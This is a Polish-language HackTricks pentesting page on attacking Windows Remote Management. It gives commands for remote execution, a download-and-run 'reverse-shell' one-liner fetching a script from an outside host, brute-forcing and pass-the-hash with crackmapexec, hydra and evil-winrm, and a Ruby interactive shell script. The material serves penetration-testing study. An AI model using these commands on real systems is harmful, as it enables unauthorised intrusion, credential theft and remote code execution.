5985,5986 - Pentesting WinRM

Reading time: 9 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

WinRM

Windows Remote Management (WinRM) jest wyróżniony jako protokół od Microsoft umożliwiający zdalne zarządzanie systemami Windows przez HTTP(S), wykorzystując SOAP w tym procesie. Jest zasadniczo zasilany przez WMI, prezentując się jako interfejs oparty na HTTP dla operacji WMI.

Obecność WinRM na maszynie umożliwia prostą zdalną administrację za pomocą PowerShell, podobnie jak SSH działa w innych systemach operacyjnych. Aby sprawdzić, czy WinRM działa, zaleca się sprawdzenie otwarcia konkretnych portów:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, co pozwala na próby nawiązania zdalnej sesji.

Inicjowanie sesji WinRM

Aby skonfigurować PowerShell dla WinRM, używa się cmdletu Microsoftu Enable-PSRemoting, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany:

powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji trustedhosts, krok, który wymaga ostrożnego rozważenia ze względu na jego implikacje. Zauważono również, że zmiana typu sieci z "Public" na "Work" może być konieczna na maszynie atakującego.

Ponadto, WinRM można aktywować zdalnie za pomocą polecenia wmic, co pokazano poniżej:

powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność w zarządzaniu maszynami z systemem Windows zdalnie.

Sprawdź, czy skonfigurowano

Aby zweryfikować konfigurację twojej maszyny atakującej, używa się polecenia Test-WSMan, aby sprawdzić, czy cel ma prawidłowo skonfigurowane WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego:

  • Dla celu, który jest prawidłowo skonfigurowany, wynik będzie wyglądał podobnie do tego:
bash
Test-WSMan <target-ip>

Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza, że WinRM jest poprawnie skonfigurowany.

  • Z drugiej strony, dla celu nie skonfigurowanego dla WinRM, skutkowałoby to brakiem tak szczegółowych informacji, co podkreśla brak odpowiedniej konfiguracji WinRM.

Wykonaj polecenie

Aby zdalnie wykonać ipconfig na docelowej maszynie i zobaczyć jego wynik, zrób:

powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Możesz również wykonać polecenie z bieżącej konsoli PS za pomocą Invoke-Command. Załóżmy, że masz lokalnie funkcję o nazwie enumeration i chcesz ją wykonać na zdalnym komputerze, możesz to zrobić:

powershell
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Wykonaj skrypt

powershell
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Uzyskaj reverse-shell

powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Uzyskaj sesję PS

Aby uzyskać interaktywną powłokę PowerShell, użyj Enter-PSSession:

powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Sesja będzie działać w nowym procesie (wsmprovhost) wewnątrz "ofiary"

Wymuszanie otwarcia WinRM

Aby używać PS Remoting i WinRM, ale komputer nie jest skonfigurowany, możesz to włączyć za pomocą:

powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Zapisywanie i przywracanie sesji

To nie zadziała, jeśli język jest ograniczony na zdalnym komputerze.

powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

W ramach tych sesji możesz ładować skrypty PS za pomocą Invoke-Command

powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Błędy

Jeśli napotkasz następujący błąd:

enter-pssession : Nie udało się połączyć z zdalnym serwerem 10.10.10.175 z następującym komunikatem o błędzie : Klient WinRM nie może przetworzyć żądania. Jeśli schemat uwierzytelniania różni się od Kerberos, lub jeśli komputer kliencki nie jest dołączony do domeny, to należy użyć transportu HTTPS lub maszyna docelowa musi być dodana do ustawienia konfiguracyjnego TrustedHosts. Użyj winrm.cmd, aby skonfigurować TrustedHosts. Należy pamiętać, że komputery na liście TrustedHosts mogą nie być uwierzytelnione. Możesz uzyskać więcej informacji na ten temat, uruchamiając następujące polecenie: winrm help config. Aby uzyskać więcej informacji, zobacz temat pomocy about_Remote_Troubleshooting.

Spróbuj na kliencie (informacje z tutaj):

ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Połączenie WinRM w systemie Linux

Atak siłowy

Uważaj, atak siłowy na winrm może zablokować użytkowników.

ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Używanie evil-winrm

ruby
gem install evil-winrm

Przeczytaj dokumentację na jego githubie: https://github.com/Hackplayers/evil-winrm

ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Aby użyć evil-winrm do połączenia z adresami IPv6, utwórz wpis w /etc/hosts, przypisując nazwę domeny do adresu IPv6 i połącz się z tą domeną.

Przekaż hasz za pomocą evil-winrm

ruby
evil-winrm -u <username> -H <Hash> -i <IP>

Używanie maszyny PS-docker

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Używanie skryptu ruby

Kod wyciągnięty stąd: https://alamot.github.io/winrm_shell/

ruby
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

References

HackTricks Automatyczne Komendy

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks